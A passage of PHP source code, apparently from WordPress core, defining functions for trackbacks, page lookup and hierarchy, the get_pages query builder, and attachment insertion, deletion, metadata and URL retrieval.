get_post( $post_id ); if ( ! $post ) { return false; } $to_ping = sanitize_trackback_urls( $post->to_ping ); $to_ping = preg_split( '/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY ); /** * Filters the list of URLs yet to ping for the given post. * * @since 2.0.0 * * @param string[] $to_ping List of URLs yet to ping. */ return apply_filters( 'get_to_ping', $to_ping ); } /** * Do trackbacks for a list of URLs. * * @since 1.0.0 * * @param string $tb_list Comma separated list of URLs. * @param int $post_id Post ID. */ function trackback_url_list( $tb_list, $post_id ) { if ( ! empty( $tb_list ) ) { // Get post data. $postdata = get_post( $post_id, ARRAY_A ); // Form an excerpt. $excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] ); if ( strlen( $excerpt ) > 255 ) { $excerpt = substr( $excerpt, 0, 252 ) . '…'; } $trackback_urls = explode( ',', $tb_list ); foreach ( (array) $trackback_urls as $tb_url ) { $tb_url = trim( $tb_url ); trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id ); } } } // // Page functions. // /** * Get a list of page IDs. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string[] List of page IDs as strings. */ function get_all_page_ids() { global $wpdb; $page_ids = wp_cache_get( 'all_page_ids', 'posts' ); if ( ! is_array( $page_ids ) ) { $page_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type = 'page'" ); wp_cache_add( 'all_page_ids', $page_ids, 'posts' ); } return $page_ids; } /** * Retrieves page data given a page ID or page object. * * Use get_post() instead of get_page(). * * @since 1.5.1 * @deprecated 3.5.0 Use get_post() * * @param int|WP_Post $page Page object or page ID. Passed by reference. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How the return value should be filtered. Accepts 'raw', * 'edit', 'db', 'display'. Default 'raw'. * @return WP_Post|array|null WP_Post or array on success, null on failure. */ function get_page( $page, $output = OBJECT, $filter = 'raw' ) { return get_post( $page, $output, $filter ); } /** * Retrieves a page given its path. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $page_path Page path. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string|array $post_type Optional. Post type or array of post types. Default 'page'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) { global $wpdb; $last_changed = wp_cache_get_last_changed( 'posts' ); $hash = md5( $page_path . serialize( $post_type ) ); $cache_key = "get_page_by_path:$hash:$last_changed"; $cached = wp_cache_get( $cache_key, 'posts' ); if ( false !== $cached ) { // Special case: '0' is a bad `$page_path`. if ( '0' === $cached || 0 === $cached ) { return; } else { return get_post( $cached, $output ); } } $page_path = rawurlencode( urldecode( $page_path ) ); $page_path = str_replace( '%2F', '/', $page_path ); $page_path = str_replace( '%20', ' ', $page_path ); $parts = explode( '/', trim( $page_path, '/' ) ); $parts = array_map( 'sanitize_title_for_query', $parts ); $escaped_parts = esc_sql( $parts ); $in_string = "'" . implode( "','", $escaped_parts ) . "'"; if ( is_array( $post_type ) ) { $post_types = $post_type; } else { $post_types = array( $post_type, 'attachment' ); } $post_types = esc_sql( $post_types ); $post_type_in_string = "'" . implode( "','", $post_types ) . "'"; $sql = " SELECT ID, post_name, post_parent, post_type FROM $wpdb->posts WHERE post_name IN ($in_string) AND post_type IN ($post_type_in_string) "; $pages = $wpdb->get_results( $sql, OBJECT_K ); $revparts = array_reverse( $parts ); $foundid = 0; foreach ( (array) $pages as $page ) { if ( $page->post_name == $revparts[0] ) { $count = 0; $p = $page; /* * Loop through the given path parts from right to left, * ensuring each matches the post ancestry. */ while ( 0 != $p->post_parent && isset( $pages[ $p->post_parent ] ) ) { $count++; $parent = $pages[ $p->post_parent ]; if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] ) { break; } $p = $parent; } if ( 0 == $p->post_parent && count( $revparts ) == $count + 1 && $p->post_name == $revparts[ $count ] ) { $foundid = $page->ID; if ( $page->post_type == $post_type ) { break; } } } } // We cache misses as well as hits. wp_cache_set( $cache_key, $foundid, 'posts' ); if ( $foundid ) { return get_post( $foundid, $output ); } return null; } /** * Retrieve a page given its title. * * If more than one post uses the same title, the post with the smallest ID will be returned. * Be careful: in case of more than one post having the same title, it will check the oldest * publication date, not the smallest ID. * * Because this function uses the MySQL '=' comparison, $page_title will usually be matched * as case-insensitive with default collation. * * @since 2.1.0 * @since 3.0.0 The `$post_type` parameter was added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $page_title Page title. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string|array $post_type Optional. Post type or array of post types. Default 'page'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) { global $wpdb; if ( is_array( $post_type ) ) { $post_type = esc_sql( $post_type ); $post_type_in_string = "'" . implode( "','", $post_type ) . "'"; $sql = $wpdb->prepare( " SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type IN ($post_type_in_string) ", $page_title ); } else { $sql = $wpdb->prepare( " SELECT ID FROM $wpdb->posts WHERE post_title = %s AND post_type = %s ", $page_title, $post_type ); } $page = $wpdb->get_var( $sql ); if ( $page ) { return get_post( $page, $output ); } return null; } /** * Identify descendants of a given page ID in a list of page objects. * * Descendants are identified from the `$pages` array passed to the function. No database queries are performed. * * @since 1.5.1 * * @param int $page_id Page ID. * @param array $pages List of page objects from which descendants should be identified. * @return array List of page children. */ function get_page_children( $page_id, $pages ) { // Build a hash of ID -> children. $children = array(); foreach ( (array) $pages as $page ) { $children[ (int) $page->post_parent ][] = $page; } $page_list = array(); // Start the search by looking at immediate children. if ( isset( $children[ $page_id ] ) ) { // Always start at the end of the stack in order to preserve original `$pages` order. $to_look = array_reverse( $children[ $page_id ] ); while ( $to_look ) { $p = array_pop( $to_look ); $page_list[] = $p; if ( isset( $children[ $p->ID ] ) ) { foreach ( array_reverse( $children[ $p->ID ] ) as $child ) { // Append to the `$to_look` stack to descend the tree. $to_look[] = $child; } } } } return $page_list; } /** * Order the pages with children under parents in a flat list. * * It uses auxiliary structure to hold parent-children relationships and * runs in O(N) complexity * * @since 2.0.0 * * @param WP_Post[] $pages Posts array (passed by reference). * @param int $page_id Optional. Parent page ID. Default 0. * @return string[] Array of post names keyed by ID and arranged by hierarchy. Children immediately follow their parents. */ function get_page_hierarchy( &$pages, $page_id = 0 ) { if ( empty( $pages ) ) { return array(); } $children = array(); foreach ( (array) $pages as $p ) { $parent_id = (int) $p->post_parent; $children[ $parent_id ][] = $p; } $result = array(); _page_traverse_name( $page_id, $children, $result ); return $result; } /** * Traverse and return all the nested children post names of a root page. * * $children contains parent-children relations * * @since 2.9.0 * @access private * * @see _page_traverse_name() * * @param int $page_id Page ID. * @param array $children Parent-children relations (passed by reference). * @param string[] $result Array of page names keyed by ID (passed by reference). */ function _page_traverse_name( $page_id, &$children, &$result ) { if ( isset( $children[ $page_id ] ) ) { foreach ( (array) $children[ $page_id ] as $child ) { $result[ $child->ID ] = $child->post_name; _page_traverse_name( $child->ID, $children, $result ); } } } /** * Build the URI path for a page. * * Sub pages will be in the "directory" under the parent page post name. * * @since 1.5.0 * @since 4.6.0 The `$page` parameter was made optional. * * @param WP_Post|object|int $page Optional. Page ID or WP_Post object. Default is global $post. * @return string|false Page URI, false on error. */ function get_page_uri( $page = 0 ) { if ( ! $page instanceof WP_Post ) { $page = get_post( $page ); } if ( ! $page ) { return false; } $uri = $page->post_name; foreach ( $page->ancestors as $parent ) { $parent = get_post( $parent ); if ( $parent && $parent->post_name ) { $uri = $parent->post_name . '/' . $uri; } } /** * Filters the URI for a page. * * @since 4.4.0 * * @param string $uri Page URI. * @param WP_Post $page Page object. */ return apply_filters( 'get_page_uri', $uri, $page ); } /** * Retrieve an array of pages (or hierarchical post type items). * * @global wpdb $wpdb WordPress database abstraction object. * * @since 1.5.0 * * @param array|string $args { * Optional. Array or string of arguments to retrieve pages. * * @type int $child_of Page ID to return child and grandchild pages of. Note: The value * of `$hierarchical` has no bearing on whether `$child_of` returns * hierarchical results. Default 0, or no restriction. * @type string $sort_order How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $sort_column What columns to sort pages by, comma-separated. Accepts 'post_author', * 'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order', * 'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'. * 'post_' can be omitted for any values that start with it. * Default 'post_title'. * @type bool $hierarchical Whether to return pages hierarchically. If false in conjunction with * `$child_of` also being false, both arguments will be disregarded. * Default true. * @type int[] $exclude Array of page IDs to exclude. Default empty array. * @type int[] $include Array of page IDs to include. Cannot be used with `$child_of`, * `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`. * Default empty array. * @type string $meta_key Only include pages with this meta key. Default empty. * @type string $meta_value Only include pages with this meta value. Requires `$meta_key`. * Default empty. * @type string $authors A comma-separated list of author IDs. Default empty. * @type int $parent Page ID to return direct children of. Default -1, or no restriction. * @type string|int[] $exclude_tree Comma-separated string or array of page IDs to exclude. * Default empty array. * @type int $number The number of pages to return. Default 0, or all pages. * @type int $offset The number of pages to skip before returning. Requires `$number`. * Default 0. * @type string $post_type The post type to query. Default 'page'. * @type string|array $post_status A comma-separated list or array of post statuses to include. * Default 'publish'. * } * @return WP_Post[]|int[]|false Array of pages (or hierarchical post type items). Boolean false if the * specified post type is not hierarchical or the specified status is not * supported by the post type. */ function get_pages( $args = array() ) { global $wpdb; $defaults = array( 'child_of' => 0, 'sort_order' => 'ASC', 'sort_column' => 'post_title', 'hierarchical' => 1, 'exclude' => array(), 'include' => array(), 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'parent' => -1, 'exclude_tree' => array(), 'number' => '', 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish', ); $parsed_args = wp_parse_args( $args, $defaults ); $number = (int) $parsed_args['number']; $offset = (int) $parsed_args['offset']; $child_of = (int) $parsed_args['child_of']; $hierarchical = $parsed_args['hierarchical']; $exclude = $parsed_args['exclude']; $meta_key = $parsed_args['meta_key']; $meta_value = $parsed_args['meta_value']; $parent = $parsed_args['parent']; $post_status = $parsed_args['post_status']; // Make sure the post type is hierarchical. $hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) ); if ( ! in_array( $parsed_args['post_type'], $hierarchical_post_types, true ) ) { return false; } if ( $parent > 0 && ! $child_of ) { $hierarchical = false; } // Make sure we have a valid post status. if ( ! is_array( $post_status ) ) { $post_status = explode( ',', $post_status ); } if ( array_diff( $post_status, get_post_stati() ) ) { return false; } // $args can be whatever, only use the args defined in defaults to compute the key. $key = md5( serialize( wp_array_slice_assoc( $parsed_args, array_keys( $defaults ) ) ) ); $last_changed = wp_cache_get_last_changed( 'posts' ); $cache_key = "get_pages:$key:$last_changed"; $cache = wp_cache_get( $cache_key, 'posts' ); if ( false !== $cache ) { _prime_post_caches( $cache, false, false ); // Convert to WP_Post instances. $pages = array_map( 'get_post', $cache ); /** This filter is documented in wp-includes/post.php */ $pages = apply_filters( 'get_pages', $pages, $parsed_args ); return $pages; } $inclusions = ''; if ( ! empty( $parsed_args['include'] ) ) { $child_of = 0; // Ignore child_of, parent, exclude, meta_key, and meta_value params if using include. $parent = -1; $exclude = ''; $meta_key = ''; $meta_value = ''; $hierarchical = false; $incpages = wp_parse_id_list( $parsed_args['include'] ); if ( ! empty( $incpages ) ) { $inclusions = ' AND ID IN (' . implode( ',', $incpages ) . ')'; } } $exclusions = ''; if ( ! empty( $exclude ) ) { $expages = wp_parse_id_list( $exclude ); if ( ! empty( $expages ) ) { $exclusions = ' AND ID NOT IN (' . implode( ',', $expages ) . ')'; } } $author_query = ''; if ( ! empty( $parsed_args['authors'] ) ) { $post_authors = wp_parse_list( $parsed_args['authors'] ); if ( ! empty( $post_authors ) ) { foreach ( $post_authors as $post_author ) { // Do we have an author id or an author login? if ( 0 == (int) $post_author ) { $post_author = get_user_by( 'login', $post_author ); if ( empty( $post_author ) ) { continue; } if ( empty( $post_author->ID ) ) { continue; } $post_author = $post_author->ID; } if ( '' === $author_query ) { $author_query = $wpdb->prepare( ' post_author = %d ', $post_author ); } else { $author_query .= $wpdb->prepare( ' OR post_author = %d ', $post_author ); } } if ( '' !== $author_query ) { $author_query = " AND ($author_query)"; } } } $join = ''; $where = "$exclusions $inclusions "; if ( '' !== $meta_key || '' !== $meta_value ) { $join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )"; // meta_key and meta_value might be slashed. $meta_key = wp_unslash( $meta_key ); $meta_value = wp_unslash( $meta_value ); if ( '' !== $meta_key ) { $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_key = %s", $meta_key ); } if ( '' !== $meta_value ) { $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_value = %s", $meta_value ); } } if ( is_array( $parent ) ) { $post_parent__in = implode( ',', array_map( 'absint', (array) $parent ) ); if ( ! empty( $post_parent__in ) ) { $where .= " AND post_parent IN ($post_parent__in)"; } } elseif ( $parent >= 0 ) { $where .= $wpdb->prepare( ' AND post_parent = %d ', $parent ); } if ( 1 === count( $post_status ) ) { $where_post_type = $wpdb->prepare( 'post_type = %s AND post_status = %s', $parsed_args['post_type'], reset( $post_status ) ); } else { $post_status = implode( "', '", $post_status ); $where_post_type = $wpdb->prepare( "post_type = %s AND post_status IN ('$post_status')", $parsed_args['post_type'] ); } $orderby_array = array(); $allowed_keys = array( 'author', 'post_author', 'date', 'post_date', 'title', 'post_title', 'name', 'post_name', 'modified', 'post_modified', 'modified_gmt', 'post_modified_gmt', 'menu_order', 'parent', 'post_parent', 'ID', 'rand', 'comment_count', ); foreach ( explode( ',', $parsed_args['sort_column'] ) as $orderby ) { $orderby = trim( $orderby ); if ( ! in_array( $orderby, $allowed_keys, true ) ) { continue; } switch ( $orderby ) { case 'menu_order': break; case 'ID': $orderby = "$wpdb->posts.ID"; break; case 'rand': $orderby = 'RAND()'; break; case 'comment_count': $orderby = "$wpdb->posts.comment_count"; break; default: if ( 0 === strpos( $orderby, 'post_' ) ) { $orderby = "$wpdb->posts." . $orderby; } else { $orderby = "$wpdb->posts.post_" . $orderby; } } $orderby_array[] = $orderby; } $sort_column = ! empty( $orderby_array ) ? implode( ',', $orderby_array ) : "$wpdb->posts.post_title"; $sort_order = strtoupper( $parsed_args['sort_order'] ); if ( '' !== $sort_order && ! in_array( $sort_order, array( 'ASC', 'DESC' ), true ) ) { $sort_order = 'ASC'; } $query = "SELECT * FROM $wpdb->posts $join WHERE ($where_post_type) $where "; $query .= $author_query; $query .= ' ORDER BY ' . $sort_column . ' ' . $sort_order; if ( ! empty( $number ) ) { $query .= ' LIMIT ' . $offset . ',' . $number; } $pages = $wpdb->get_results( $query ); if ( empty( $pages ) ) { wp_cache_set( $cache_key, array(), 'posts' ); /** This filter is documented in wp-includes/post.php */ $pages = apply_filters( 'get_pages', array(), $parsed_args ); return $pages; } // Sanitize before caching so it'll only get done once. $num_pages = count( $pages ); for ( $i = 0; $i < $num_pages; $i++ ) { $pages[ $i ] = sanitize_post( $pages[ $i ], 'raw' ); } // Update cache. update_post_cache( $pages ); if ( $child_of || $hierarchical ) { $pages = get_page_children( $child_of, $pages ); } if ( ! empty( $parsed_args['exclude_tree'] ) ) { $exclude = wp_parse_id_list( $parsed_args['exclude_tree'] ); foreach ( $exclude as $id ) { $children = get_page_children( $id, $pages ); foreach ( $children as $child ) { $exclude[] = $child->ID; } } $num_pages = count( $pages ); for ( $i = 0; $i < $num_pages; $i++ ) { if ( in_array( $pages[ $i ]->ID, $exclude, true ) ) { unset( $pages[ $i ] ); } } } $page_structure = array(); foreach ( $pages as $page ) { $page_structure[] = $page->ID; } wp_cache_set( $cache_key, $page_structure, 'posts' ); // Convert to WP_Post instances. $pages = array_map( 'get_post', $pages ); /** * Filters the retrieved list of pages. * * @since 2.1.0 * * @param WP_Post[] $pages Array of page objects. * @param array $parsed_args Array of get_pages() arguments. */ return apply_filters( 'get_pages', $pages, $parsed_args ); } // // Attachment functions. // /** * Determines whether an attachment URI is local and really an attachment. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.0.0 * * @param string $url URL to check * @return bool True on success, false on failure. */ function is_local_attachment( $url ) { if ( strpos( $url, home_url() ) === false ) { return false; } if ( strpos( $url, home_url( '/?attachment_id=' ) ) !== false ) { return true; } $id = url_to_postid( $url ); if ( $id ) { $post = get_post( $id ); if ( 'attachment' === $post->post_type ) { return true; } } return false; } /** * Insert an attachment. * * If you set the 'ID' in the $args parameter, it will mean that you are * updating and attempt to update the attachment. You can also set the * attachment name or title by setting the key 'post_name' or 'post_title'. * * You can set the dates for the attachment manually by setting the 'post_date' * and 'post_date_gmt' keys' values. * * By default, the comments will use the default settings for whether the * comments are allowed. You can close them manually or keep them open by * setting the value for the 'comment_status' key. * * @since 2.0.0 * @since 4.7.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @see wp_insert_post() * * @param string|array $args Arguments for inserting an attachment. * @param string|false $file Optional. Filename. * @param int $parent Optional. Parent post ID. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The attachment ID on success. The value 0 or WP_Error on failure. */ function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false, $fire_after_hooks = true ) { $defaults = array( 'file' => $file, 'post_parent' => 0, ); $data = wp_parse_args( $args, $defaults ); if ( ! empty( $parent ) ) { $data['post_parent'] = $parent; } $data['post_type'] = 'attachment'; return wp_insert_post( $data, $wp_error, $fire_after_hooks ); } /** * Trash or delete an attachment. * * When an attachment is permanently deleted, the file will also be removed. * Deletion removes all post meta fields, taxonomy, comments, etc. associated * with the attachment (except the main post). * * The attachment is moved to the Trash instead of permanently deleted unless Trash * for media is disabled, item is already in the Trash, or $force_delete is true. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Attachment ID. * @param bool $force_delete Optional. Whether to bypass Trash and force deletion. * Default false. * @return WP_Post|false|null Post data on success, false or null on failure. */ function wp_delete_attachment( $post_id, $force_delete = false ) { global $wpdb; $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id ) ); if ( ! $post ) { return $post; } $post = get_post( $post ); if ( 'attachment' !== $post->post_type ) { return false; } if ( ! $force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' !== $post->post_status ) { return wp_trash_post( $post_id ); } /** * Filters whether an attachment deletion should take place. * * @since 5.5.0 * * @param WP_Post|false|null $delete Whether to go forward with deletion. @TODO description * @param WP_Post $post Post object. * @param bool $force_delete Whether to bypass the Trash. */ $check = apply_filters( 'pre_delete_attachment', null, $post, $force_delete ); if ( null !== $check ) { return $check; } delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); $meta = wp_get_attachment_metadata( $post_id ); $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); $file = get_attached_file( $post_id ); if ( is_multisite() && is_string( $file ) && ! empty( $file ) ) { clean_dirsize_cache( $file ); } /** * Fires before an attachment is deleted, at the start of wp_delete_attachment(). * * @since 2.0.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $post_id Attachment ID. * @param WP_Post $post Post object. */ do_action( 'delete_attachment', $post_id, $post ); wp_delete_object_term_relationships( $post_id, array( 'category', 'post_tag' ) ); wp_delete_object_term_relationships( $post_id, get_object_taxonomies( $post->post_type ) ); // Delete all for any posts. delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); wp_defer_comment_counting( true ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d ORDER BY comment_ID DESC", $post_id ) ); foreach ( $comment_ids as $comment_id ) { wp_delete_comment( $comment_id, true ); } wp_defer_comment_counting( false ); $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ) ); foreach ( $post_meta_ids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } /** This action is documented in wp-includes/post.php */ do_action( 'delete_post', $post_id, $post ); $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) ); if ( ! $result ) { return false; } /** This action is documented in wp-includes/post.php */ do_action( 'deleted_post', $post_id, $post ); wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ); clean_post_cache( $post ); return $post; } /** * Deletes all files that belong to the given attachment. * * @since 4.9.7 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Attachment ID. * @param array $meta The attachment's meta data. * @param array $backup_sizes The meta data for the attachment's backup images. * @param string $file Absolute path to the attachment's file. * @return bool True on success, false on failure. */ function wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ) { global $wpdb; $uploadpath = wp_get_upload_dir(); $deleted = true; if ( ! empty( $meta['thumb'] ) ) { // Don't delete the thumb if another attachment uses it. if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) { $thumbfile = str_replace( wp_basename( $file ), $meta['thumb'], $file ); if ( ! empty( $thumbfile ) ) { $thumbfile = path_join( $uploadpath['basedir'], $thumbfile ); $thumbdir = path_join( $uploadpath['basedir'], dirname( $file ) ); if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) { $deleted = false; } } } } // Remove intermediate and backup images if there are any. if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) { $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) ); foreach ( $meta['sizes'] as $size => $sizeinfo ) { $intermediate_file = str_replace( wp_basename( $file ), $sizeinfo['file'], $file ); if ( ! empty( $intermediate_file ) ) { $intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file ); if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) { $deleted = false; } } } } if ( ! empty( $meta['original_image'] ) ) { if ( empty( $intermediate_dir ) ) { $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) ); } $original_image = str_replace( wp_basename( $file ), $meta['original_image'], $file ); if ( ! empty( $original_image ) ) { $original_image = path_join( $uploadpath['basedir'], $original_image ); if ( ! wp_delete_file_from_directory( $original_image, $intermediate_dir ) ) { $deleted = false; } } } if ( is_array( $backup_sizes ) ) { $del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) ); foreach ( $backup_sizes as $size ) { $del_file = path_join( dirname( $meta['file'] ), $size['file'] ); if ( ! empty( $del_file ) ) { $del_file = path_join( $uploadpath['basedir'], $del_file ); if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) { $deleted = false; } } } } if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) { $deleted = false; } return $deleted; } /** * Retrieves attachment metadata for attachment ID. * * @since 2.1.0 * * @param int $attachment_id Attachment post ID. Defaults to global $post. * @param bool $unfiltered Optional. If true, filters are not run. Default false. * @return array|false { * Attachment metadata. False on failure. * * @type int $width The width of the attachment. * @type int $height The height of the attachment. * @type string $file The file path relative to `wp-content/uploads`. * @type array $sizes Keys are size slugs, each value is an array containing * 'file', 'width', 'height', and 'mime-type'. * @type array $image_meta Image metadata. * @type int $filesize File size of the attachment. * } */ function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) { $attachment_id = (int) $attachment_id; if ( ! $attachment_id ) { $post = get_post(); if ( ! $post ) { return false; } $attachment_id = $post->ID; } $data = get_post_meta( $attachment_id, '_wp_attachment_metadata', true ); if ( ! $data ) { return false; } if ( $unfiltered ) { return $data; } /** * Filters the attachment meta data. * * @since 2.1.0 * * @param array $data Array of meta data for the given attachment. * @param int $attachment_id Attachment post ID. */ return apply_filters( 'wp_get_attachment_metadata', $data, $attachment_id ); } /** * Updates metadata for an attachment. * * @since 2.1.0 * * @param int $attachment_id Attachment post ID. * @param array $data Attachment meta data. * @return int|false False if $post is invalid. */ function wp_update_attachment_metadata( $attachment_id, $data ) { $attachment_id = (int) $attachment_id; $post = get_post( $attachment_id ); if ( ! $post ) { return false; } /** * Filters the updated attachment meta data. * * @since 2.1.0 * * @param array $data Array of updated attachment meta data. * @param int $attachment_id Attachment post ID. */ $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ); if ( $data ) { return update_post_meta( $post->ID, '_wp_attachment_metadata', $data ); } else { return delete_post_meta( $post->ID, '_wp_attachment_metadata' ); } } /** * Retrieve the URL for an attachment. * * @since 2.1.0 * * @global string $pagenow The filename of the current screen. * * @param int $attachment_id Optional. Attachment post ID. Defaults to global $post. * @return string|false Attachment URL, otherwise false. */ function wp_get_attachment_url( $attachment_id = 0 ) { global $pagenow; $attachment_id = (int) $attachment_id; $post = get_post( $attachment_id ); if ( ! $post ) { return false; } if ( 'attachment' !== $post->post_type ) { return false; } $url = ''; // Get attached file. $file = get_post_meta( $post->ID, '_wp_attached_file', true ); if ( $file ) { // Get upload directory. $uploads = wp_get_upload_dir(); if ( $uploads && false === $uploads['error'] ) { // Check that the upload base exists in the file location. if ( 0 === strpos( $file, $uploads['basedir'] ) ) { // Replace file location with url location. $url = str_replace( $uploads['basedir'], $uploads['baseurl'], $file ); } elseif ( false !== strpos( $file, 'wp-content/uploads' ) ) { // Get the directory name relative to the basedir (back compat for pre-2.7 uploads). $url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . wp_basename( $file ); } else { // It's a newly-uploaded file, therefore $file is relative to the basedir. $url = $uploads['baseurl'] . "/$file"; } } } /* * If any of the above options failed, Fallback on the GUID as used pre-2.7, * not recommended to rely upon this. */ if ( ! $url ) { $url = get_the_guid( $post->ID ); } // On SSL front end, URLs should be HTTPS. if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow ) { $url = set_url_scheme( $url ); } /** * Filters the attachment URL. * * @since 2.1.0 * * @param string $url URL for the given attachment. * @param int $attachment_id Attachment post ID. */ $url = apply_filters( 'wp_get_attachment_url', $url, $post->ID ); if ( ! $url ) { return false; } return $url; } /** * Retrieves the caption for an attachment. * * @since 4.6.0 * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Attachment caption on success, false on failure. */ function wp_get_attachment_caption( $post_id = 0 ) { $post_id = (int) $post_id; $post = get_post( $post_id ); if ( ! $post ) { return false; } if ( 'attachment' !== $post->post_type ) { return false; } $caption = $post->post_excerpt; /** * Filters the attachment caption. * * @since 4.6.0 * * @param string $caption Caption for the given attachment. * @param int $post_id Attachment ID. */ return apply_filters( 'wp_get_attachment_caption', $caption, $post->ID ); } /** * Retrieve thumbnail for an attachment. * * @since 2.1.0 * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Thumbnail file path on success, false on failure. */ function wp_get_attachment_thumb_file( $post_id = 0 ) { $post_id = (int) $post_id; $post = get_post( $post_id ); if ( ! $post ) { return false; } $imagedata = wp_get_attachment_metadata( $post->ID ); if ( ! is_array( $imagedata ) ) { return false; } $file = get_attached_file( $post->ID ); if ( ! empty( $imagedata['thumb'] ) ) { $thumbfile = str_replace( wp_basename( $file ), $imagedata['thumb'], $file ); if ( file_exists( $thumbfile ) ) { /** * Filters the attachment thumbnail file path. * * @since 2.1.0 * * @param string $thumbfile File path to the attachment thumbnail. * @param int $post_id Attachment ID. */ return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID ); } } return false; } /** * Retrieve URL for an attachment thumbnail. * * @since 2.1.0 * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Thumbnail URL on success, false on failure. */ function wp_get_attachment_thumb_url( $post_id = 0 ) { $post_id = (int) $post_id; $post = get_post( $post_id ); if ( ! $post ) { return false; } $url = wp_get_attachment_url( $post->ID ); if ( ! $url ) { return false; } $sized = image_downsize( $post_id, 'thumbnail' ); if ( $sized ) { return $sized[0]; } $thumb = wp_get_attachment_thumb_file( $post->ID ); if ( ! $thumb ) { return false; } $url = str_replace( wp_basename( $url ), wp_basename( $thumb ), $url ); /** * Filters the attachment thumbnail URL. * * @since 2.1.0 * * @param string $url URL for the attachment thumbnail. * @param int $post_id Attachment ID. */ return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID ); } /** * Verifies an attachment is of a given type. * * @since 4.2.0 * * @param string $type Attachment type. Accepts 'image', 'audio', or 'video'. * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post. * @return bool True if one of the accepted types, false otherwise. */ function wp_attachment_is( $type, $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $file = get_attached_file( $post->ID ); if ( ! $file ) { return false; } if ( 0 === strpos( $post->post_mime_type, $type . '/' ) ) { return true; } $check = wp_check_filetype( $file ); if ( empty( $check['ext'] ) ) { return false; } $ext = $check['ext']; if ( 'import' !== $post->post_mime_type ) { return $type === $ext; } switch ( $type ) { case 'image': $image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 